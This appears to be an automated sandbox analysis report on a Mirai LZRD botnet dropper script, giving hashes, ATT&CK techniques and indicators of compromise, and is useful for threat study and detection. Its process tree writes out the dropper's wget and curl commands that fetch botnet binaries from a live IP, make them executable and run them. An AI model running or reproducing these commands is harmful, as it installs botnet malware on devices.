mirai | 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

Analysis

max time kernel
123s
max time network
156s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30-12-2024 16:46

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General

Target

ohshit.sh
Size

2KB
MD5

7e24e03c8d6c1bafbc85a32aa065853f
SHA1

1399f7b9e79afa7fb910eb61f8e7d10b36c64310
SHA256

938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c
SHA512

0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
839	chmod
844	chmod
850	chmod
856	chmod
746	chmod
779	chmod
797	chmod
802	chmod
868	chmod
729	chmod
862	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/WTF	730	WTF
/tmp/WTF	747	WTF
/tmp/WTF	781	WTF
/tmp/WTF	798	WTF
/tmp/WTF	803	WTF
/tmp/WTF	840	WTF
/tmp/WTF	845	WTF
/tmp/WTF	851	WTF
/tmp/WTF	857	WTF
/tmp/WTF	863	WTF
/tmp/WTF	869	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	23.227.146.106
Destination IP	37.202.222.7
Destination IP	37.202.222.79

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-8.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/847/cmdline	WTF
File opened for reading	/proc/848/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/871/cmdline	WTF
File opened for reading	/proc/793/cmdline	WTF
File opened for reading	/proc/824/cmdline	WTF
File opened for reading	/proc/700/cmdline	WTF
File opened for reading	/proc/823/cmdline	WTF
File opened for reading	/proc/493/cmdline	WTF
File opened for reading	/proc/750/cmdline	WTF
File opened for reading	/proc/790/cmdline	WTF
File opened for reading	/proc/794/cmdline	WTF
File opened for reading	/proc/805/cmdline	WTF
File opened for reading	/proc/825/cmdline	WTF
File opened for reading	/proc/872/cmdline	WTF
File opened for reading	/proc/851/cmdline	WTF
File opened for reading	/proc/456/cmdline	WTF
File opened for reading	/proc/775/cmdline	WTF
File opened for reading	/proc/804/cmdline	WTF
File opened for reading	/proc/817/cmdline	WTF
File opened for reading	/proc/843/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/876/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/691/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/800/cmdline	WTF
File opened for reading	/proc/828/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/818/cmdline	WTF
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/857/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/462/cmdline	WTF
File opened for reading	/proc/492/cmdline	WTF
File opened for reading	/proc/768/cmdline	WTF
File opened for reading	/proc/785/cmdline	WTF
File opened for reading	/proc/787/cmdline	WTF
File opened for reading	/proc/806/cmdline	WTF
File opened for reading	/proc/831/cmdline	WTF
File opened for reading	/proc/696/cmdline	WTF
File opened for reading	/proc/766/cmdline	WTF
File opened for reading	/proc/769/cmdline	WTF
File opened for reading	/proc/783/cmdline	WTF
File opened for reading	/proc/860/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/821/cmdline	WTF
File opened for reading	/proc/827/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/854/cmdline	WTF
File opened for reading	/proc/865/cmdline	WTF
File opened for reading	/proc/695/cmdline	WTF
File opened for reading	/proc/697/cmdline	WTF
File opened for reading	/proc/807/cmdline	WTF
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/875/cmdline	WTF
File opened for reading	/proc/877/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/402/cmdline	WTF
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/774/cmdline	WTF
File opened for reading	/proc/799/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	cat
732	wget
733	curl

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm7	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:698
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-ce7c6e8a3a3f4152b6b47b0b826ed39e-systemd-timedated.service-yPwfTg WTF
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:730
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:747
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:778
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:781
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:796
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:798
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:801
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:803
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:838
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:840
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:841
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:843
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:845
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:848
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:849
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:851
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:855
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:857
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:861
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:867
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:869
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  PID:877

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
31KB

MD5
2af268efed968357e391ab576fc973c4

SHA1
90d2eb946f39110a1a1768de197d5b2592c32906

SHA256
6f4b2ca72110e08f4a14ccfe634cfe7296914e8e8c65e4de037d3c85f40101ae

SHA512
753e6159a6085f846ad7bc6cddf5d0eae592351ada2b344fdbd8c0ce2b6981746b579085f373634adcbd29668cf9ce1979fa7a5f58f05f5bbee6f5405e52c4f1

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/tmp/WTF

Filesize
105KB

MD5
020cb00eb1f2f8f09e6cf30dd27bb1c6

SHA1
9a744d247de056b9fdad94358b106082724b25c7

SHA256
8c4ddaa55221339a69d91cca9c22f1018306bd2bdd721c6b0564d7308d41ca7d

SHA512
82c32f182f8547660168ef76f82e00b4029da2604b67a6b463578cdbd925faf906ef1973bd1607d3216d8f39d2c2bf625acb738c7017852223602e1455872810

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
55KB

MD5
70642c98ccbfa71a3304777137766d79

SHA1
bb0daf5567654b7c9fe2857555106bc15f4d3ec8

SHA256
57f3497dad4a83ff52ea99689e6846d1517b76cc53b4e713aa05ae780d352048

SHA512
f64818ce02cefccab32899477108a891b432da76fac4b98fb7a3b471213830a1da150e3dd01a93a932b8d82c4cc8cb264b2906b3aab89a32bd9336e7fb41c18c

Download Submit
/tmp/boatnet.x86

Filesize
28KB

MD5
d2610e796559edd586be4f3cfea659da

SHA1
67ac4e25ed9856b839f2b11c32e758766a140e23

SHA256
75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

SHA512
910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads